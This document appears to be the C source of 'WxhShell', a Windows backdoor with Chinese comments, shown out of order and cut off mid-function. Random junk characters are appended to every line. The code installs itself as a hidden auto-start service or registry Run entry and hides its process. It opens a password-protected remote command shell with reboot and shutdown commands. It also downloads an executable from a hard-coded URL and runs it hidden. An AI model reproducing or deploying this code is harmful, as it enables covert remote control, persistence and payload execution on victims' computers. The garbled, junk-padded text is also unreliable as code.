ULONG InheritedFromUniqueProcessId; B5u06O
} PROCESS_BASIC_INFORMATION; Ob?>zsx
dfGdY"&
PROCNTQSIP NtQueryInformationProcess; EkM? Rs
[[QrGJr
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &}VGC=F;d
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <O&L2E @~f
Ck2O?Ne
HANDLE hProcess; ~;,]/'O
PROCESS_BASIC_INFORMATION pbi; G5E03xvL
/sH3Rk.>
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R~CQ=KQ.
if(NULL == hInst ) return 0; Gk*Mx6|N
/}r%DND'
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R{5Qb?&wOp
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -<sn+-uE:
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q/Ba#?sen
EYd`qk3
if (!NtQueryInformationProcess) return 0; xaX3<V@S
U2=5Nt5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @3c5"
if(!hProcess) return 0; ?3kfhR
K!"[,=u_
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X{o.mN
n`? j.
s
CloseHandle(hProcess); 'N)&;ADx-G
kYl$V=
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uO>$,s
if(hProcess==NULL) return 0; 6*gMG3
+|).dm
HMODULE hMod; m.EI("n"J
char procName[255]; s\1h=V)!H
unsigned long cbNeeded; u1/4WYJeJ
PQ<""_S||
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ez&v"J
SfyZ,0
CloseHandle(hProcess); DbP!wU lqR
*oL?R2#7
if(strstr(procName,"services")) return 1; // 以服务启动 ZOK2BCoW
6E{HNPMb>
return 0; // 注册表启动 iKN~fGRc
} s[NkPh9&
1T!b#x4
// 主模块 xmb]L:4F
int StartWxhshell(LPSTR lpCmdLine) eZIqyw
{ RmY5/IYR|:
SOCKET wsl; O&V}T#8n
BOOL val=TRUE; \Pi\c~)Pr
int port=0; GL_YT.(!
struct sockaddr_in door; UX;?~X
d
}=fJ
if(wscfg.ws_autoins) Install(); 6x)7=_:0
2Hw&}8
port=atoi(lpCmdLine); I?uU}NK
q.U` mtS
if(port<=0) port=wscfg.ws_port; ~m8".Z"
+w[vYKSZm
WSADATA data; Ci4`,
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q[ kbEhv;
8om6wALXB
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; <qT[
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m_zl*s*6
door.sin_family = AF_INET; Ckd@|
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'i;1n
door.sin_port = htons(port); 6=U81
Q^prHn*@
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1K?RA*aj
closesocket(wsl); gI "ZhYI
return 1; x? tC2L
} v/*}M&vo
CuC1s>
if(listen(wsl,2) == INVALID_SOCKET) { p4GhT~)l:
closesocket(wsl); _QBN/KE9
return 1; "BT*9N=|
} s!,m,l[P
Wxhshell(wsl); q;Tdqv!Ju
WSACleanup(); G%^jgr)
i0Ejo;dB
return 0; 86Hg?!<i.
N(uH y@
} M2H +1ic
60,z! Vv
// 以NT服务方式启动 h ` qlI1]
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -fpe
{ @~ k4,dJ
DWORD status = 0; Zc 9@G-
DWORD specificError = 0xfffffff; #lAC:>s3U
fwQVx Je
serviceStatus.dwServiceType = SERVICE_WIN32; V %h,JA
serviceStatus.dwCurrentState = SERVICE_START_PENDING; [wU e"{
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3LGX ^J<f
serviceStatus.dwWin32ExitCode = 0; F<.oTP-B
serviceStatus.dwServiceSpecificExitCode = 0; ;)~}/nR<a
serviceStatus.dwCheckPoint = 0; JLd-{}A""-
serviceStatus.dwWaitHint = 0; %,T=|5
4>^LEp
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Zt_~Zxn3
if (hServiceStatusHandle==0) return; "I)/|x\G*
8\WV.+
status = GetLastError(); I3gl+)Q
if (status!=NO_ERROR) Hlhd6be
{ IiU\}<O
serviceStatus.dwCurrentState = SERVICE_STOPPED; E7'
serviceStatus.dwCheckPoint = 0; +3uPHpMB-
serviceStatus.dwWaitHint = 0; "@z X{^:
serviceStatus.dwWin32ExitCode = status; [ Y+Ta,
serviceStatus.dwServiceSpecificExitCode = specificError; wE[gp+X~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); o6tPQ (Vi
return; \?v?%}x
} QyghNImp
GP>\3@>
serviceStatus.dwCurrentState = SERVICE_RUNNING; *+OS;R1<
serviceStatus.dwCheckPoint = 0; Hr_5N,
serviceStatus.dwWaitHint = 0; 0=0,ix7?#
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fmq''1u
} *b'4>U
+0}z3T1L
// 处理NT服务事件,比如:启动、停止 zmU@ k
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3CzF@t;5
{ ?g\emhG
switch(fdwControl) "1YwV~M5
{ #x qiGK
case SERVICE_CONTROL_STOP: {xAd>fGG+y
serviceStatus.dwWin32ExitCode = 0; Ul_5"3ze
serviceStatus.dwCurrentState = SERVICE_STOPPED; P_4E<"eK
serviceStatus.dwCheckPoint = 0; hK,a8%KnFA
serviceStatus.dwWaitHint = 0; mC0_rN^Aj
{ b)@D@K"5
SetServiceStatus(hServiceStatusHandle, &serviceStatus); E!'6vDVC:
} zauDwV=
return; z&cM8w:
case SERVICE_CONTROL_PAUSE: Jz}`-fU`
serviceStatus.dwCurrentState = SERVICE_PAUSED; Q^;:Kl.b
break; /GVjesN
case SERVICE_CONTROL_CONTINUE: m/Erw"Z
serviceStatus.dwCurrentState = SERVICE_RUNNING; l\F71pwSI
break; RL:B.Lv/W
case SERVICE_CONTROL_INTERROGATE: 5 w(nttYH
break; 2}=@n*8*d
}; NRny]!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \-pqqSy
} %3O))Ug5
ufCpX>lNF
// 标准应用程序主函数 ~o#mX?'7
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~4pP(
JP
{ ; >>n#8`
,jEc4ih4
// 获取操作系统版本 Um}AV
OsIsNt=GetOsVer(); m%
3 D
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y0.'u{J*
d!w3LwZ
// 从命令行安装 ]Zt ]wnL+
if(strpbrk(lpCmdLine,"iI")) Install(); 9Vqy<7i1
O!%T<2i3
// 下载执行文件 #M{qMJHDo
if(wscfg.ws_downexe) { ,cL;,YN
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3:MJKS02OD
WinExec(wscfg.ws_filenam,SW_HIDE); 9@ YKx0
} 70GBf"
_XT'h;m
if(!OsIsNt) { l_/(J)|a
// 如果时win9x,隐藏进程并且设置为注册表启动 t"Ci1"U
HideProc(); X3a 9-
StartWxhshell(lpCmdLine); #gqh0 27
} HO['o{>BL
else w8>h6x"
if(StartFromService()) qxb]UV,R
// 以服务方式启动 ;<N:! $p
StartServiceCtrlDispatcher(DispatchTable); uf90
else 9M;t4Um
// 普通方式启动 &:g:7l]g
StartWxhshell(lpCmdLine); 3PGAUQR#"q
IC&P-X_aP
return 0; 7M~sol[*
} 5gtf`ebs/
VO8rd>b4
E#!!tH`lgg
l@Vv%w9H
=========================================== 7Vsp<s9bj
<M@-|K"Eb
q9_$&9
uD>=
3y6\0|{1
X)[tb]U/Wx
" |g)C `k
M&j|5UH%.
#include <stdio.h> ~_vSMX
#include <string.h> \~ChbPnc
#include <windows.h> 4}h}`KZZ
#include <winsock2.h> C)z4Cn9#
#include <winsvc.h> WHY/x /$
#include <urlmon.h> :.,9}\LK
&
"&s,
#pragma comment (lib, "Ws2_32.lib") w!7ApEH1
#pragma comment (lib, "urlmon.lib") 9p qsr~
x/umwT,o v
#define MAX_USER 100 // 最大客户端连接数 &rBe -52
#define BUF_SOCK 200 // sock buffer k0e}`#t
#define KEY_BUFF 255 // 输入 buffer P>C'?'Q7
d
fj23+
#define REBOOT 0 // 重启 #m.e9MU
#define SHUTDOWN 1 // 关机 172 G
_-TplGSO=c
#define DEF_PORT 5000 // 监听端口 TU0-L35P1
vd4@ jZ5
#define REG_LEN 16 // 注册表键长度 4GRD- f[
#define SVC_LEN 80 // NT服务名长度 .J)TIc__|A
:+ ,;5
// 从dll定义API F3}MM
dX
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Af;Pl|Zh[
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t]LiFpy2IC
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I9S;t_Z<
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J:m/s9r
KdR4<qVV}
// wxhshell配置信息 dH^6K0J
struct WSCFG { _6NUtU
int ws_port; // 监听端口 \Fz9O-jb4
char ws_passstr[REG_LEN]; // 口令 zeHF-_{
int ws_autoins; // 安装标记, 1=yes 0=no t )zd'[
char ws_regname[REG_LEN]; // 注册表键名 2tq2
char ws_svcname[REG_LEN]; // 服务名 |h]V9=
char ws_svcdisp[SVC_LEN]; // 服务显示名 fjRVYOG#
char ws_svcdesc[SVC_LEN]; // 服务描述信息 hC<ROD
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :\OSHs<M
int ws_downexe; // 下载执行标记, 1=yes 0=no >|QH
I
d8
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ] 3{t}qY$A
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,n/]ALz>~
: ,l7e
}; uY&1[(Pb
=0)|psCsM
// default Wxhshell configuration cE]z Tu?!
struct WSCFG wscfg={DEF_PORT, RQ,#TbAe
"xuhuanlingzhe", ]RCo@QW
1, ipv5JD[
"Wxhshell", 3B1\-ry1M
"Wxhshell", |
&X<-
"WxhShell Service", 2)f_L|o,m
"Wrsky Windows CmdShell Service", axC|,8~tq
"Please Input Your Password: ", &6x(%o|
1, ^Oz~T|)
"http://www.wrsky.com/wxhshell.exe", -zg*p&F
"Wxhshell.exe" cbJgeif
}; 6 4_}"fU
tu
-a`h_NJ
// 消息定义模块 ?v2_7x&
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WPNB!"E98
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'UhoKb_p
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @;/Pl>$|'G
char *msg_ws_ext="\n\rExit."; )CFJXc:
char *msg_ws_end="\n\rQuit."; ReaZg ?:h
char *msg_ws_boot="\n\rReboot..."; ^j<v~GTx+
char *msg_ws_poff="\n\rShutdown..."; (p{X.X+
char *msg_ws_down="\n\rSave to "; ,>j3zjf^
6<&A}pp
char *msg_ws_err="\n\rErr!"; m%|\AZBA#
char *msg_ws_ok="\n\rOK!"; B"4 3o7C
_^<vp
char ExeFile[MAX_PATH]; "hyfo,r
int nUser = 0; ?@"@9na
HANDLE handles[MAX_USER]; UFB|IeX?q
int OsIsNt; IL@yGuO,
,HjJ jpE
SERVICE_STATUS serviceStatus; , cxqr3
o
SERVICE_STATUS_HANDLE hServiceStatusHandle; uX7L1~s-
:w^:Z$-hf
// 函数声明 KMhrw s{&B
int Install(void); kepuh%KY[
int Uninstall(void); [MeivrJ+
int DownloadFile(char *sURL, SOCKET wsh); c&D+=
int Boot(int flag); &GH[$(
void HideProc(void); sUF$eVAT
int GetOsVer(void); SzLlJUV X
int Wxhshell(SOCKET wsl); |.; N_i
void TalkWithClient(void *cs); 3U6QYD55]]
int CmdShell(SOCKET sock); LW=qX%o{
int StartFromService(void); Vz mlKVE
int StartWxhshell(LPSTR lpCmdLine); \%r#>8c8
?c.\\2>|F
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sX?arI=_U
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I]ej ]46K
i3 js'?7E
// 数据结构和表定义 xbiprhdv
SERVICE_TABLE_ENTRY DispatchTable[] = DS8HSSD
{ ],c0nz^%BR
{wscfg.ws_svcname, NTServiceMain}, (s'xO~p
{NULL, NULL} [)`*k#.=
}; b8a(.}8*
i%yKyfD
// 自我安装 l"8g9z
int Install(void) )F9IzR-&m
{ X[J<OTj`$
char svExeFile[MAX_PATH];
4H;g"nWqO
HKEY key; Z{3=.z{&^=
strcpy(svExeFile,ExeFile); :/->m6C`0
,vR>hyM
// 如果是win9x系统,修改注册表设为自启动 5+GTK)D
if(!OsIsNt) { <,Gjo]z
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wgSFL6Ei
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }r04*P(
RegCloseKey(key); ~U<j_j)z4.
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s\.r3U&6
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZV Ko$q:F
RegCloseKey(key); 8?~>FLWTXZ
return 0; covCa )kf
} %4VM"C4[
} ^cdbM
} %m|BXyf]_B
else {
,-])[u
i{g~u<DH)Q
// 如果是NT以上系统,安装为系统服务 _bh$
t
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ILG&l<!E
if (schSCManager!=0) 8U#14U5rS
{ !rx5i
SC_HANDLE schService = CreateService Z'AjeZyyE
( i&HU7mP/
schSCManager, pJ?y
wscfg.ws_svcname, Kj"n
Id)
wscfg.ws_svcdisp, `[=/f=Q}
SERVICE_ALL_ACCESS, Kd}%%L
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @$b7
eu
SERVICE_AUTO_START, Ow0~sFz
SERVICE_ERROR_NORMAL, ^(*eo e
svExeFile, 8yr-X!eF
NULL, PtjAu
NULL, 2%l(qfN9
NULL, V2Z^W^
NULL, <95*z @
NULL i;2V
); +SFo2Wdr43
if (schService!=0) B)DtJf
{ 7n#Mh-vq
CloseServiceHandle(schService); ,=6;dT
CloseServiceHandle(schSCManager); xG%O^
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e~G IUwJ
strcat(svExeFile,wscfg.ws_svcname); %F*h}i
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AQ-R^kT
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (.M &nN'Ce
RegCloseKey(key); :JxuaM8
return 0; c"'JMq
} 6K.0dhl>`B
} ECOzquvM
CloseServiceHandle(schSCManager); k1^&;}/f:
} ][Cg8
} jivGkIj!8
c+TCC%AJQI
return 1; o
3 G*
} ma2-66M~j
K30{Fcb< h
// 自我卸载 gDsb~>rb|
int Uninstall(void) d>Np; "
{ JLxAk14lc
HKEY key; [1`&\C_E
f,Dj@?3+
if(!OsIsNt) { `oH6'+fT`;
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *+cW)klm
RegDeleteValue(key,wscfg.ws_regname); 7NfA)$
RegCloseKey(key); bu r0?q
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RC]-9gd3Q
RegDeleteValue(key,wscfg.ws_regname); +,ZQ(
ZW
RegCloseKey(key); }Ias7d?re
return 0; I.}E#f/A'
} LZ*ZXFIg
} odpjEeQC
} \ssqIRk
else { O9 [Dae{i
0=KyupwXC
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uY|-: =
if (schSCManager!=0) ^NiS7 )FX
{ Tf?|*P
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .~dNzonq
if (schService!=0) -|A`+1-R+
{ q'[q]
if(DeleteService(schService)!=0) { J9*$@&@S
CloseServiceHandle(schService); 7gcJ.,Z.
CloseServiceHandle(schSCManager); =L&}&pT
return 0; jpek=4E
} 6Z3L=j
CloseServiceHandle(schService); f&
>[$zh
} /V@9!
CloseServiceHandle(schSCManager); =Hwlo!
} GY,HEe]2r
} =;?afUj
hMvLx>q3)
return 1; }grel5lq
} -3On^Wj]
YZ0Jei8+-
// 从指定url下载文件 1iTI8h&[@
int DownloadFile(char *sURL, SOCKET wsh) h#7p&F
{ yvp$s
HRESULT hr; OkaNVTB
char seps[]= "/"; 0<C]9[l
char *token; soXIPf
char *file; (!B1}5"
char myURL[MAX_PATH]; cg]>*lH
char myFILE[MAX_PATH]; (6#,
$Ze
Oq3]ZUVa
strcpy(myURL,sURL); Ri mz~}+
token=strtok(myURL,seps); VHihC]ks,
while(token!=NULL) 3"HW{=
{ Tz?0E"yx
file=token; /pS Y ~*
token=strtok(NULL,seps); o1zKns?
} Yg kd 1uI.
yrVk$k#6}
GetCurrentDirectory(MAX_PATH,myFILE); /\0g)B;]
strcat(myFILE, "\\"); |s$w
i>7l
strcat(myFILE, file); |b'}.(/3i
send(wsh,myFILE,strlen(myFILE),0); +9!=pRq
send(wsh,"...",3,0); JULns#tx}
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y1c2(K>tu
if(hr==S_OK) v%$c_'d
return 0; _(%;O:i
else <tx`#,
return 1; (@&+?A"6`
&=S<StH
} ?)V?6"fFP
mo()l8
// 系统电源模块 >#Ue`)d`aY
int Boot(int flag) RR9G$}WS(
{ V+Y;
HANDLE hToken; ;:A/WU.^
TOKEN_PRIVILEGES tkp; i_<GSUTTr/
*mtS\J
if(OsIsNt) { >,}SP;
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e` {F7rd:
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T7qE
2
tkp.PrivilegeCount = 1; ; &i